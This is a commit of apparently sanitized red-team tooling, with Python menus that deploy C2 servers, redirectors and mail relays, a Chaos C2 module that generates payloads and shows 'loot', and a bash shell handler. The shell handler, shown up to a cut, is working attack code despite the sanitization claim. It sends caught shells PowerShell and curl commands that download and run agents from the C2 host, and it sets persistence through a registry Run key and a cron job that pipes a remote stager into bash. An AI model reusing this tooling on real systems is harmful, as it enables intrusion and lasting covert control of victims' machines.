Initial public portfolio release

Sanitized version of red team infrastructure automation platform.
Operational content (implant pipelines, lures, credential capture)
replaced with documented stubs. Architecture and infrastructure
automation code intact.
This commit is contained in:
Operator
2026-06-23 16:12:14 -04:00
commit 98103466d8
239 changed files with 40012 additions and 0 deletions
View File
+316
View File
@@ -0,0 +1,316 @@
#!/usr/bin/env python3
"""
C2 infrastructure deployment module
"""
import os
import sys
import logging
# Add the project root to the path so we can import utils
sys.path.append(os.path.join(os.path.dirname(__file__), '..', '..'))
from utils.common import (
COLORS, clear_screen, print_banner, generate_deployment_id,
setup_logging, get_public_ip, confirm_action, wait_for_input,
archive_old_logs
)
from utils.provider_utils import select_provider, gather_provider_config
from utils.ssh_utils import generate_ssh_key
from utils.naming_utils import get_deployment_name_with_options
def gather_c2_parameters():
"""Collect parameters specific to C2 deployments"""
clear_screen()
print_banner()
print(f"{COLORS['WHITE']}C2 INFRASTRUCTURE SETUP{COLORS['RESET']}")
print(f"{COLORS['WHITE']}========================{COLORS['RESET']}")
config = {}
# Generate deployment ID
config['deployment_id'] = generate_deployment_id()
print(f"Deployment ID: {COLORS['CYAN']}{config['deployment_id']}{COLORS['RESET']}")
# Provider selection
provider = select_provider()
if not provider:
return None
config['provider'] = provider
# Get provider-specific configuration
provider_config = gather_provider_config(provider)
if not provider_config:
return None
config.update(provider_config)
# C2-specific configuration
print(f"\n{COLORS['BLUE']}C2 Configuration{COLORS['RESET']}")
# Domain configuration
domain = input(f"Domain for C2 infrastructure [required]: ")
if not domain:
print(f"{COLORS['RED']}A domain is required for C2 deployments{COLORS['RESET']}")
return None
config['domain'] = domain
# Subdomain configuration
config['c2_subdomain'] = input("C2 server subdomain [default: mail]: ") or "mail"
# Instance naming options
config['redirector_name'] = get_deployment_name_with_options(
deployment_type='redirector',
deployment_id=config['deployment_id'],
prefix='r-'
)
config['c2_name'] = get_deployment_name_with_options(
deployment_type='c2',
deployment_id=config['deployment_id'],
prefix='s-'
)
# C2 Framework selection
print(f"\n{COLORS['BLUE']}C2 Framework Selection:{COLORS['RESET']}")
print(f"1) Havoc")
print(f"2) Cobalt Strike")
print(f"3) Sliver")
print(f"4) Mythic")
print(f"5) Custom")
framework_choice = input("Select C2 framework [default: 1]: ") or "1"
frameworks = {
"1": "havoc",
"2": "cobaltstrike",
"3": "sliver",
"4": "mythic",
"5": "custom"
}
config['c2_framework'] = frameworks.get(framework_choice, "havoc")
# Email for Let's Encrypt
default_email = f"admin@{config['domain']}"
config['letsencrypt_email'] = input(f"Email for Let's Encrypt [default: {default_email}]: ") or default_email
# Get operator IP for security
suggested_ip = get_public_ip()
if suggested_ip:
operator_ip = input(f"Your public IP for secure access [detected: {suggested_ip}]: ") or suggested_ip
else:
operator_ip = input("Your public IP for secure access: ")
config['operator_ip'] = operator_ip
# SSH key generation
ssh_key_path = generate_ssh_key(config['deployment_id'])
if not ssh_key_path:
print(f"{COLORS['RED']}Failed to generate SSH key{COLORS['RESET']}")
return None
config['ssh_key_path'] = f"{ssh_key_path}.pub"
# SMTP Configuration for email services
print(f"\n{COLORS['BLUE']}SMTP Configuration{COLORS['RESET']}")
config['smtp_auth_user'] = input("SMTP authentication username [default: admin]: ") or "admin"
import secrets
import string
def generate_random_password(length=16):
alphabet = string.ascii_letters + string.digits + "!@#$%^&*"
password = ''.join(secrets.choice(alphabet) for _ in range(length))
return password
default_password = generate_random_password()
smtp_password = input(f"SMTP authentication password [default: random generated]: ")
config['smtp_auth_pass'] = smtp_password if smtp_password else default_password
print(f"{COLORS['GREEN']}SMTP Credentials:{COLORS['RESET']}")
print(f" Username: {config['smtp_auth_user']}")
print(f" Password: {config['smtp_auth_pass']}")
print(f"{COLORS['YELLOW']}Note: These credentials will be saved in the deployment info file{COLORS['RESET']}")
# Security Configuration
print(f"\n{COLORS['BLUE']}Security Configuration{COLORS['RESET']}")
zero_logs_choice = input("Enable zero-logs configuration? (y/n) [default: y]: ").lower()
config['zero_logs'] = zero_logs_choice != 'n' # Default to True unless explicitly 'n'
# Post-deployment options
config['ssh_after_deploy'] = confirm_action("SSH into instance after deployment?", default=True)
return config
def c2_menu():
"""Display the C2 submenu and handle user selection"""
while True:
clear_screen()
print_banner()
print(f"{COLORS['WHITE']}C2 INFRASTRUCTURE MENU{COLORS['RESET']}")
print(f"{COLORS['WHITE']}======================={COLORS['RESET']}")
print(f"1) C2 Server Only {COLORS['GREEN']}*QUICK*{COLORS['RESET']} {COLORS['GRAY']}(Basic setup){COLORS['RESET']}")
print(f"2) Havoc C2 Server {COLORS['GRAY']}(Modern C2 framework){COLORS['RESET']}")
print(f"3) Sliver Server {COLORS['GRAY']}(Go-based C2){COLORS['RESET']}")
print(f"4) Cobalt Strike Server {COLORS['GRAY']}(Commercial C2){COLORS['RESET']}")
print(f"5) Mythic Server {COLORS['GRAY']}(Cross-platform C2){COLORS['RESET']}")
print(f"6) C2 + Redirector {COLORS['GRAY']}(C2 with traffic redirection){COLORS['RESET']}")
print(f"7) Full C2 Infrastructure {COLORS['GRAY']}(Complete multi-tier setup){COLORS['RESET']}")
print(f"99) Return to Main Menu")
choice = input(f"\nSelect an option: ")
if choice == "1":
deploy_c2_only()
elif choice == "2":
deploy_havoc_c2()
elif choice == "3":
deploy_sliver_c2()
elif choice == "4":
deploy_cobaltstrike_c2()
elif choice == "5":
deploy_mythic_c2()
elif choice == "6":
deploy_c2_with_redirector()
elif choice == "7":
deploy_full_c2()
elif choice == "99":
return
else:
print(f"\n{COLORS['RED']}Invalid option. Please try again.{COLORS['RESET']}")
wait_for_input()
def deploy_c2_only():
"""Deploy C2 server only"""
config = gather_c2_parameters()
if not config:
return
config['deployment_type'] = 'c2_only'
config['c2_only'] = True
print(f"\n{COLORS['GREEN']}Deploying C2 server only...{COLORS['RESET']}")
execute_c2_deployment(config)
def deploy_c2_with_redirector():
"""Deploy C2 server with redirector"""
config = gather_c2_parameters()
if not config:
return
# Additional redirector configuration
config['redirector_subdomain'] = input("Redirector subdomain [default: cdn]: ") or "cdn"
config['deployment_type'] = 'c2_with_redirector'
config['deploy_redirector'] = True
print(f"\n{COLORS['GREEN']}Deploying C2 server with redirector...{COLORS['RESET']}")
execute_c2_deployment(config)
def deploy_full_c2():
"""Deploy full C2 infrastructure"""
config = gather_c2_parameters()
if not config:
return
# Additional configuration for full deployment
config['redirector_subdomain'] = input("Redirector subdomain [default: cdn]: ") or "cdn"
config['deployment_type'] = 'full_c2'
config['deploy_redirector'] = True
config['deploy_tracker'] = confirm_action("Deploy email tracker?", default=False)
print(f"\n{COLORS['GREEN']}Deploying full C2 infrastructure...{COLORS['RESET']}")
execute_c2_deployment(config)
def deploy_havoc_c2():
"""Deploy Havoc C2 server specifically"""
config = gather_c2_parameters()
if not config:
return
config['c2_framework'] = 'havoc'
config['deployment_type'] = 'havoc_c2'
print(f"\n{COLORS['GREEN']}Deploying Havoc C2 server...{COLORS['RESET']}")
execute_c2_deployment(config)
def deploy_cobaltstrike_c2():
"""Deploy Cobalt Strike server specifically"""
config = gather_c2_parameters()
if not config:
return
config['c2_framework'] = 'cobaltstrike'
config['deployment_type'] = 'cobaltstrike_c2'
# Cobalt Strike specific configuration
license_path = input("Path to Cobalt Strike license file [optional]: ")
if license_path:
config['cobaltstrike_license'] = license_path
print(f"\n{COLORS['GREEN']}Deploying Cobalt Strike server...{COLORS['RESET']}")
execute_c2_deployment(config)
def deploy_sliver_c2():
"""Deploy Sliver C2 server specifically"""
config = gather_c2_parameters()
if not config:
return
config['c2_framework'] = 'sliver'
config['deployment_type'] = 'sliver_c2'
print(f"\n{COLORS['GREEN']}Deploying Sliver C2 server...{COLORS['RESET']}")
execute_c2_deployment(config)
def deploy_mythic_c2():
"""Deploy Mythic C2 server specifically"""
config = gather_c2_parameters()
if not config:
return
config['c2_framework'] = 'mythic'
config['deployment_type'] = 'mythic_c2'
print(f"\n{COLORS['GREEN']}Deploying Mythic C2 server...{COLORS['RESET']}")
execute_c2_deployment(config)
def execute_c2_deployment(config):
"""Execute C2 infrastructure deployment"""
clear_screen()
print_banner()
print(f"\n{COLORS['GREEN']}Starting C2 deployment...{COLORS['RESET']}")
# Archive old logs before starting new deployment
print(f"Archiving old logs...")
archive_old_logs(max_logs_to_keep=5) # Keep last 5 deployments
# Set up logging
log_file = setup_logging(config['deployment_id'], "c2_deployment")
# Display configuration summary
print(f"\n{COLORS['CYAN']}Deployment Summary:{COLORS['RESET']}")
print(f"Deployment Type: {config['deployment_type']}")
print(f"Deployment ID: {config['deployment_id']}")
print(f"Provider: {config['provider']}")
print(f"Domain: {config['domain']}")
print(f"C2 Framework: {config['c2_framework']}")
# Confirm deployment
if not confirm_action(f"\n{COLORS['YELLOW']}Proceed with C2 deployment?{COLORS['RESET']}", default=False):
print(f"\n{COLORS['YELLOW']}Deployment cancelled.{COLORS['RESET']}")
return
# Execute the actual deployment using the deployment engine
from utils.deployment_engine import deploy_infrastructure
success = deploy_infrastructure(config)
if success:
print(f"\n{COLORS['GREEN']}C2 infrastructure deployed successfully!{COLORS['RESET']}")
if config.get('ssh_after_deploy'):
from utils.ssh_utils import ssh_to_instance
ssh_to_instance(config)
else:
print(f"\n{COLORS['RED']}C2 infrastructure deployment failed.{COLORS['RESET']}")
wait_for_input()
if __name__ == "__main__":
c2_menu()
+447
View File
@@ -0,0 +1,447 @@
#!/usr/bin/env python3
"""
Chaos C2 — c2itall integration module
Deploy and manage the Chaos C2 framework (Havoc fork) locally or on a remote host.
"""
import os
import sys
import subprocess
import glob
# Add parent paths for imports
sys.path.append(os.path.join(os.path.dirname(__file__), '..', '..'))
from utils.common import COLORS, clear_screen, print_banner, wait_for_input
# ─── Path Registry ────────────────────────────────────────────────────────────
CHAOS_PATH = os.path.expanduser('~/tools/chaos')
INSTALL_SH = os.path.join(CHAOS_PATH, 'Install.sh')
TEAMSERVER = os.path.join(CHAOS_PATH, 'teamserver')
DATA_DIR = os.path.join(CHAOS_PATH, 'data')
LOGS_DIR = os.path.join(DATA_DIR, 'logs')
WS_PATH_FILE = os.path.join(DATA_DIR, '.ws_path')
PROFILES_DIR = os.path.join(CHAOS_PATH, 'profiles')
# ─── SSH helpers ──────────────────────────────────────────────────────────────
def _build_ssh_cmd(host, ssh_user, ssh_port, ssh_key, command=None, interactive=False):
"""Build an SSH command list."""
cmd = ['ssh']
if ssh_key:
cmd.extend(['-i', ssh_key])
cmd.extend(['-p', str(ssh_port)])
known_hosts = os.path.expanduser('~/.ssh/c2deploy_chaos_known_hosts')
cmd.extend([
'-o', 'StrictHostKeyChecking=accept-new',
'-o', f'UserKnownHostsFile={known_hosts}',
'-o', 'IdentitiesOnly=yes',
])
if interactive:
cmd.append('-t')
cmd.append(f'{ssh_user}@{host}')
if command:
cmd.append(command)
return cmd
def _build_scp_cmd(ssh_port, ssh_key=None):
"""Build base SCP command with consistent SSH options."""
known_hosts = os.path.expanduser('~/.ssh/c2deploy_chaos_known_hosts')
cmd = [
'scp',
'-P', str(ssh_port),
'-o', 'StrictHostKeyChecking=accept-new',
'-o', f'UserKnownHostsFile={known_hosts}',
]
if ssh_key:
cmd.extend(['-i', ssh_key])
return cmd
# ─── Remote target prompt ─────────────────────────────────────────────────────
def _prompt_remote_target():
"""Prompt for host/user/port/key. Returns (host, user, port, key) or None on cancel."""
print(f"\n{COLORS['CYAN']}Remote Target{COLORS['RESET']}")
print(f"{COLORS['WHITE']}============={COLORS['RESET']}")
host = input(f" Remote host (IP or hostname): ").strip()
if not host:
print(f"{COLORS['YELLOW']}No host provided{COLORS['RESET']}")
return None, None, None, None
ssh_user = input(f" SSH user [{COLORS['CYAN']}root{COLORS['RESET']}]: ").strip() or 'root'
ssh_port_raw = input(f" SSH port [{COLORS['CYAN']}22{COLORS['RESET']}]: ").strip() or '22'
try:
ssh_port = int(ssh_port_raw)
except ValueError:
ssh_port = 22
ssh_key = input(f" SSH key path (blank for default): ").strip() or None
return host, ssh_user, ssh_port, ssh_key
# ─── Profile selection ────────────────────────────────────────────────────────
def _select_profile(label="Select profile"):
"""List available profiles and let the user choose one. Returns path or None."""
profiles = []
if os.path.isdir(PROFILES_DIR):
for ext in ('*.toml', '*.yaotl', '*.yaml', '*.yml'):
profiles.extend(glob.glob(os.path.join(PROFILES_DIR, ext)))
profiles.sort()
if not profiles:
print(f" {COLORS['YELLOW']}No profiles found in {PROFILES_DIR}{COLORS['RESET']}")
manual = input(f" Enter profile path manually (blank to cancel): ").strip()
return manual or None
print(f"\n {COLORS['CYAN']}{label}:{COLORS['RESET']}")
for i, p in enumerate(profiles, 1):
print(f" {i}) {os.path.basename(p)}")
raw = input(f"\n Select [1]: ").strip() or '1'
try:
idx = int(raw) - 1
if 0 <= idx < len(profiles):
return profiles[idx]
except ValueError:
pass
print(f" {COLORS['YELLOW']}Invalid selection — using first profile{COLORS['RESET']}")
return profiles[0]
# ─── Local actions ────────────────────────────────────────────────────────────
def _deploy_local():
"""Run Install.sh locally after a pre-flight check."""
if not os.path.exists(INSTALL_SH):
print(f"\n{COLORS['RED']}Install.sh not found at {INSTALL_SH}{COLORS['RESET']}")
print(f"{COLORS['YELLOW']}Clone the Chaos repo to ~/tools/chaos first{COLORS['RESET']}")
wait_for_input()
return
print(f"\n{COLORS['CYAN']}Running pre-flight check (Install.sh --check)...{COLORS['RESET']}")
check_result = subprocess.run(
['bash', INSTALL_SH, '--check'],
cwd=CHAOS_PATH,
capture_output=True,
text=True,
)
if check_result.stdout:
print(check_result.stdout)
if check_result.stderr:
print(check_result.stderr)
if check_result.returncode != 0:
print(f"{COLORS['YELLOW']}Pre-flight check reported issues (rc={check_result.returncode}) — continue anyway? (y/N): {COLORS['RESET']}", end='')
if input().strip().lower() != 'y':
wait_for_input()
return
print(f"\n{COLORS['CYAN']}Installing Chaos C2 locally...{COLORS['RESET']}")
print(f"{COLORS['YELLOW']}Note: script may require sudo — you may be prompted for your password.{COLORS['RESET']}\n")
try:
subprocess.run(['bash', INSTALL_SH], cwd=CHAOS_PATH)
except KeyboardInterrupt:
print(f"\n{COLORS['YELLOW']}Installation interrupted{COLORS['RESET']}")
wait_for_input()
def _deploy_remote():
"""SCP the chaos repo to a remote host and run Install.sh over SSH."""
if not os.path.isdir(CHAOS_PATH):
print(f"\n{COLORS['RED']}Chaos source not found at {CHAOS_PATH}{COLORS['RESET']}")
wait_for_input()
return
host, ssh_user, ssh_port, ssh_key = _prompt_remote_target()
if not host:
wait_for_input()
return
remote_staging = '/tmp/chaos-deploy'
print(f"\n{COLORS['CYAN']}Creating remote staging directory on {ssh_user}@{host}...{COLORS['RESET']}")
mkdir_cmd = _build_ssh_cmd(host, ssh_user, ssh_port, ssh_key,
f'rm -rf {remote_staging} && mkdir -p {remote_staging}')
result = subprocess.run(mkdir_cmd, capture_output=True, text=True)
if result.returncode != 0:
print(f"{COLORS['RED']}Failed to create remote staging dir: {result.stderr}{COLORS['RESET']}")
wait_for_input()
return
print(f"{COLORS['CYAN']}Copying Chaos to {ssh_user}@{host}:{remote_staging}...{COLORS['RESET']}")
scp_cmd = _build_scp_cmd(ssh_port, ssh_key)
scp_cmd.extend(['-r', CHAOS_PATH + '/'])
scp_cmd.append(f'{ssh_user}@{host}:{remote_staging}/')
result = subprocess.run(scp_cmd, capture_output=True, text=True)
if result.returncode != 0:
print(f"{COLORS['RED']}SCP failed: {result.stderr}{COLORS['RESET']}")
wait_for_input()
return
print(f" {COLORS['GREEN']}Files copied{COLORS['RESET']}")
print(f"\n{COLORS['CYAN']}Running Install.sh on {host}...{COLORS['RESET']}")
install_cmd_str = f'cd {remote_staging} && bash Install.sh'
ssh_install = _build_ssh_cmd(host, ssh_user, ssh_port, ssh_key,
install_cmd_str, interactive=True)
try:
subprocess.run(ssh_install)
except KeyboardInterrupt:
print(f"\n{COLORS['YELLOW']}Remote install interrupted{COLORS['RESET']}")
wait_for_input()
def _start_teamserver():
"""Start the Chaos teamserver with a selected profile."""
if not os.path.exists(TEAMSERVER):
print(f"\n{COLORS['RED']}teamserver binary not found at {TEAMSERVER}{COLORS['RESET']}")
print(f"{COLORS['YELLOW']}Run 'Deploy Chaos (local)' first to build it{COLORS['RESET']}")
wait_for_input()
return
profile = _select_profile("Select listener profile")
if not profile:
print(f"{COLORS['YELLOW']}No profile selected — aborting{COLORS['RESET']}")
wait_for_input()
return
print(f"\n{COLORS['CYAN']}Starting Chaos teamserver with profile: {os.path.basename(profile)}{COLORS['RESET']}")
print(f"{COLORS['GRAY']}Press Ctrl+C to stop{COLORS['RESET']}\n")
try:
subprocess.run([TEAMSERVER, '-p', profile], cwd=CHAOS_PATH)
except KeyboardInterrupt:
print(f"\n{COLORS['YELLOW']}Teamserver stopped by user{COLORS['RESET']}")
wait_for_input()
def _stop_teamserver():
"""Find and kill the teamserver process."""
print(f"\n{COLORS['CYAN']}Looking for running teamserver process...{COLORS['RESET']}")
result = subprocess.run(
['pgrep', '-f', 'teamserver'],
capture_output=True, text=True
)
pids = result.stdout.strip().splitlines()
if not pids:
print(f"{COLORS['YELLOW']}No teamserver process found{COLORS['RESET']}")
wait_for_input()
return
print(f" Found PID(s): {', '.join(pids)}")
confirm = input(f" {COLORS['YELLOW']}Kill these processes? (y/N): {COLORS['RESET']}").strip().lower()
if confirm != 'y':
print(f"{COLORS['GREEN']}Cancelled{COLORS['RESET']}")
wait_for_input()
return
for pid in pids:
kill_result = subprocess.run(['kill', pid], capture_output=True, text=True)
if kill_result.returncode == 0:
print(f" {COLORS['GREEN']}Killed PID {pid}{COLORS['RESET']}")
else:
print(f" {COLORS['RED']}Failed to kill PID {pid}: {kill_result.stderr.strip()}{COLORS['RESET']}")
wait_for_input()
def _show_status():
"""Check if teamserver is running, show WS path and active profile."""
print(f"\n{COLORS['CYAN']}Chaos C2 Status{COLORS['RESET']}")
print(f"{COLORS['WHITE']}==============={COLORS['RESET']}")
# Check for running process
result = subprocess.run(['pgrep', '-a', '-f', 'teamserver'], capture_output=True, text=True)
if result.stdout.strip():
print(f" Teamserver: {COLORS['GREEN']}RUNNING{COLORS['RESET']}")
for line in result.stdout.strip().splitlines():
print(f" {COLORS['GRAY']}{line}{COLORS['RESET']}")
else:
print(f" Teamserver: {COLORS['RED']}NOT RUNNING{COLORS['RESET']}")
# Show WS path
if os.path.exists(WS_PATH_FILE):
with open(WS_PATH_FILE) as f:
ws_path = f.read().strip()
print(f" WS Path: {COLORS['CYAN']}{ws_path}{COLORS['RESET']}")
else:
print(f" WS Path: {COLORS['GRAY']}(not set){COLORS['RESET']}")
# Show install dir
if os.path.isdir(CHAOS_PATH):
print(f" Install: {COLORS['GREEN']}{CHAOS_PATH}{COLORS['RESET']}")
else:
print(f" Install: {COLORS['RED']}NOT FOUND — {CHAOS_PATH}{COLORS['RESET']}")
# Show available profiles
if os.path.isdir(PROFILES_DIR):
profiles = []
for ext in ('*.toml', '*.yaotl', '*.yaml', '*.yml'):
profiles.extend(glob.glob(os.path.join(PROFILES_DIR, ext)))
if profiles:
print(f" Profiles:")
for p in sorted(profiles):
print(f" {COLORS['GRAY']}{os.path.basename(p)}{COLORS['RESET']}")
else:
print(f" Profiles: {COLORS['YELLOW']}none found in {PROFILES_DIR}{COLORS['RESET']}")
wait_for_input()
def _generate_payload():
"""Interactive payload generation: listener profile, arch, format, output path."""
if not os.path.exists(TEAMSERVER):
print(f"\n{COLORS['RED']}teamserver not found — build Chaos first{COLORS['RESET']}")
wait_for_input()
return
print(f"\n{COLORS['CYAN']}Payload Generation{COLORS['RESET']}")
print(f"{COLORS['WHITE']}=================={COLORS['RESET']}")
profile = _select_profile("Select listener profile for payload")
if not profile:
print(f"{COLORS['YELLOW']}No profile selected — aborting{COLORS['RESET']}")
wait_for_input()
return
print(f"\n Architecture:")
print(f" 1) x86_64 (64-bit)")
print(f" 2) x86 (32-bit)")
arch_choice = input(f" Select [1]: ").strip() or '1'
arch = 'x86_64' if arch_choice != '2' else 'x86'
print(f"\n Format:")
print(f" 1) exe (Windows executable)")
print(f" 2) dll (Windows DLL)")
print(f" 3) bin (raw shellcode)")
fmt_choice = input(f" Select [1]: ").strip() or '1'
fmt_map = {'1': 'exe', '2': 'dll', '3': 'bin'}
fmt = fmt_map.get(fmt_choice, 'exe')
default_out = os.path.join(CHAOS_PATH, 'payloads', f'payload_{arch}.{fmt}')
out_path = input(f"\n Output path [{COLORS['CYAN']}{default_out}{COLORS['RESET']}]: ").strip() or default_out
os.makedirs(os.path.dirname(out_path), exist_ok=True)
print(f"\n{COLORS['CYAN']}Generating payload...{COLORS['RESET']}")
cmd = [TEAMSERVER, 'generate', '--profile', profile,
'--arch', arch, '--format', fmt, '--output', out_path]
try:
result = subprocess.run(cmd, cwd=CHAOS_PATH, capture_output=True, text=True)
if result.stdout:
print(result.stdout)
if result.stderr:
print(result.stderr)
if result.returncode == 0:
print(f"{COLORS['GREEN']}Payload written to: {out_path}{COLORS['RESET']}")
else:
print(f"{COLORS['RED']}Payload generation failed (rc={result.returncode}){COLORS['RESET']}")
print(f"{COLORS['YELLOW']}Note: 'generate' subcommand may differ in your build — check teamserver --help{COLORS['RESET']}")
except FileNotFoundError:
print(f"{COLORS['RED']}teamserver binary not executable — did the build complete?{COLORS['RESET']}")
wait_for_input()
def _view_loot():
"""Tail structured JSON logs from data/logs/."""
if not os.path.isdir(LOGS_DIR):
print(f"\n{COLORS['YELLOW']}Logs directory not found: {LOGS_DIR}{COLORS['RESET']}")
print(f"{COLORS['GRAY']}Logs will appear here after the teamserver has been started{COLORS['RESET']}")
wait_for_input()
return
log_files = sorted(glob.glob(os.path.join(LOGS_DIR, '*.json')) +
glob.glob(os.path.join(LOGS_DIR, '*.log')))
if not log_files:
print(f"\n{COLORS['YELLOW']}No log files found in {LOGS_DIR}{COLORS['RESET']}")
wait_for_input()
return
print(f"\n{COLORS['CYAN']}Available log files:{COLORS['RESET']}")
for i, lf in enumerate(log_files, 1):
size = os.path.getsize(lf)
print(f" {i}) {os.path.basename(lf)} ({size} bytes)")
raw = input(f"\n Select log to tail [1]: ").strip() or '1'
try:
idx = int(raw) - 1
if 0 <= idx < len(log_files):
chosen = log_files[idx]
else:
chosen = log_files[0]
except ValueError:
chosen = log_files[0]
lines_raw = input(f" Lines to show [{COLORS['CYAN']}50{COLORS['RESET']}]: ").strip() or '50'
try:
lines = int(lines_raw)
except ValueError:
lines = 50
print(f"\n{COLORS['CYAN']}--- {os.path.basename(chosen)} (last {lines} lines) ---{COLORS['RESET']}\n")
try:
result = subprocess.run(['tail', '-n', str(lines), chosen],
capture_output=True, text=True)
print(result.stdout)
except Exception as e:
print(f"{COLORS['RED']}Error reading log: {e}{COLORS['RESET']}")
wait_for_input()
# ─── Main menu ────────────────────────────────────────────────────────────────
def chaos_menu():
"""Main entry point — called from c2itall deploy.py tools_menu()."""
while True:
clear_screen()
print_banner()
print(f"{COLORS['WHITE']}CHAOS C2{COLORS['RESET']}")
print(f"{COLORS['WHITE']}========{COLORS['RESET']}")
print(f" Havoc-based C2 framework")
# Show whether source is available
if os.path.isdir(CHAOS_PATH):
ts_label = (f"{COLORS['GREEN']}built{COLORS['RESET']}"
if os.path.exists(TEAMSERVER)
else f"{COLORS['YELLOW']}not built{COLORS['RESET']}")
print(f" Source: {COLORS['GREEN']}{CHAOS_PATH}{COLORS['RESET']} (teamserver: {ts_label})")
else:
print(f" Source: {COLORS['RED']}NOT FOUND — {CHAOS_PATH}{COLORS['RESET']}")
print()
print(f"1) Deploy Chaos {COLORS['CYAN']}(local — runs Install.sh){COLORS['RESET']}")
print(f"2) Deploy Chaos {COLORS['CYAN']}(remote SSH — SCP + install){COLORS['RESET']}")
print(f"3) Start Teamserver")
print(f"4) Stop Teamserver")
print(f"5) Show Status")
print(f"6) Generate Payload")
print(f"7) View Loot {COLORS['GRAY']}(tail data/logs/){COLORS['RESET']}")
print(f"99) Return to Tools Menu")
choice = input(f"\nSelect an option: ").strip()
if choice == '1':
_deploy_local()
elif choice == '2':
_deploy_remote()
elif choice == '3':
_start_teamserver()
elif choice == '4':
_stop_teamserver()
elif choice == '5':
_show_status()
elif choice == '6':
_generate_payload()
elif choice == '7':
_view_loot()
elif choice == '99':
return
else:
print(f"\n{COLORS['RED']}Invalid option. Please try again.{COLORS['RESET']}")
wait_for_input()
+9
View File
@@ -0,0 +1,9 @@
#!/bin/bash
# OMITTED — Havoc C2 framework installer
#
# Installs Havoc C2 teamserver and client from source, configures systemd service,
# sets up operator accounts, and applies hardening (non-default ports, TLS certs,
# firewall rules restricting access to redirector IPs only).
#
# Omitted from public release. Present in operational deployments.
echo "[!] Havoc installer not included in public release."
+9
View File
@@ -0,0 +1,9 @@
#!/bin/bash
# OMITTED — Havoc profile mutation script
#
# Generates a randomized Havoc teamserver profile (.yaotl) for each engagement.
# Randomizes sleep jitter, kill dates, working hours, and C2 profile fields.
# Feeds output directly into the teamserver configuration pipeline.
#
# Omitted from public release. Present in operational deployments.
echo "[!] Havoc profile mutator not included in public release."
+218
View File
@@ -0,0 +1,218 @@
#!/bin/bash
# Automated shell handler for catching and upgrading shells to Havoc C2 agents
# Configuration
LISTEN_PORT=4488
C2_HOST="127.0.0.1" # This will be replaced by Ansible with actual C2 IP
HAVOC_PORT=40056 # Havoc default Teamserver port
HAVOC_USER="admin"
HAVOC_DIR="/root/Tools/Havoc"
WINDOWS_PAYLOAD="windows/agent_win.exe"
LINUX_PAYLOAD="linux/agent_linux"
# Set secure permissions
umask 077
# Logging function (minimal and encrypted)
log() {
local timestamp=$(date +"%Y-%m-%d %H:%M:%S")
local message="$1"
echo "$timestamp - $message" | openssl enc -e -aes-256-cbc -pbkdf2 -pass pass:$RANDOM$RANDOM$RANDOM >> /root/Tools/shell-handler/activity.log.enc
}
# Detect OS function
detect_os() {
local connection=$1
# Send commands to determine OS
echo "echo \$OSTYPE" > $connection
sleep 1
ostype=$(cat $connection | grep -i "linux\|darwin\|win")
if [[ $ostype == *"win"* ]]; then
echo "windows"
elif [[ $ostype == *"darwin"* ]]; then
echo "macos"
elif [[ $ostype == *"linux"* ]]; then
echo "linux"
else
# Try Windows-specific command
echo "ver" > $connection
sleep 1
winver=$(cat $connection | grep -i "microsoft windows")
if [[ -n "$winver" ]]; then
echo "windows"
else
# Default to Linux if we can't determine
echo "linux"
fi
fi
}
# Get Havoc password
get_havoc_password() {
# Extract password from Havoc profile
HAVOC_PASS=$(grep 'Password' $HAVOC_DIR/data/profiles/default.yaotl | cut -d'"' -f2)
echo $HAVOC_PASS
}
# Deploy appropriate Havoc agent based on OS
deploy_agent() {
local connection=$1
local os_type=$2
log "Deploying Havoc agent for detected OS: $os_type"
# Get the latest payload paths from manifest
local manifest="/root/Tools/Havoc/payloads/manifest.json"
if [ -f "$manifest" ]; then
if [ "$os_type" == "windows" ]; then
WIN_EXE=$(jq -r '.windows_exe' "$manifest")
PAYLOAD_PATH="/root/Tools/Havoc/payloads/windows/$WIN_EXE"
elif [ "$os_type" == "linux" ]; then
LINUX_BIN=$(jq -r '.linux_binary' "$manifest")
PAYLOAD_PATH="/root/Tools/Havoc/payloads/linux/$LINUX_BIN"
fi
else
# Use default paths if manifest doesn't exist
if [ "$os_type" == "windows" ]; then
PAYLOAD_PATH="/root/Tools/Havoc/payloads/windows/agent_win.exe"
elif [ "$os_type" == "linux" ]; then
PAYLOAD_PATH="/root/Tools/Havoc/payloads/linux/agent_linux"
fi
fi
case $os_type in
windows)
# Setup Python HTTP server for payload delivery
mkdir -p /tmp/havoc_payloads
cp "$PAYLOAD_PATH" /tmp/havoc_payloads/update.exe
cd /tmp/havoc_payloads
python3 -m http.server 8888 &
HTTP_PID=$!
# Use PowerShell to download and execute
echo "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12; (New-Object System.Net.WebClient).DownloadFile('http://$C2_HOST:8888/update.exe', \$env:TEMP+'\\update.exe'); Start-Process \$env:TEMP+'\\update.exe'" > $connection
sleep 10
# Cleanup HTTP server
kill $HTTP_PID
;;
linux)
# Setup Python HTTP server for payload delivery
mkdir -p /tmp/havoc_payloads
cp "$PAYLOAD_PATH" /tmp/havoc_payloads/update
chmod +x /tmp/havoc_payloads/update
cd /tmp/havoc_payloads
python3 -m http.server 8888 &
HTTP_PID=$!
# Use curl to download and execute
echo "curl -s http://$C2_HOST:8888/update -o /tmp/update && chmod +x /tmp/update && /tmp/update &" > $connection
sleep 10
# Cleanup HTTP server
kill $HTTP_PID
;;
macos)
# For macOS, we'll attempt to use the Linux payload
mkdir -p /tmp/havoc_payloads
cp "$PAYLOAD_PATH" /tmp/havoc_payloads/update
chmod +x /tmp/havoc_payloads/update
cd /tmp/havoc_payloads
python3 -m http.server 8888 &
HTTP_PID=$!
# Use curl to download and execute
echo "curl -s http://$C2_HOST:8888/update -o /tmp/update && chmod +x /tmp/update && /tmp/update &" > $connection
sleep 10
# Cleanup HTTP server
kill $HTTP_PID
;;
esac
log "Havoc agent deployment command sent"
}
# Establish persistence based on OS
establish_persistence() {
local connection=$1
local os_type=$2
log "Attempting to establish persistence on $os_type"
case $os_type in
windows)
# Windows persistence via registry run key
echo "REG ADD HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run /v Update /t REG_SZ /d %TEMP%\\update.exe /f" > $connection
;;
linux)
# Linux persistence via crontab
echo "(crontab -l 2>/dev/null; echo '*/15 * * * * curl -s http://$C2_HOST:8443/linux_stager.sh | bash') | crontab -" > $connection
;;
macos)
# macOS persistence via launch agent
echo "mkdir -p ~/Library/LaunchAgents" > $connection
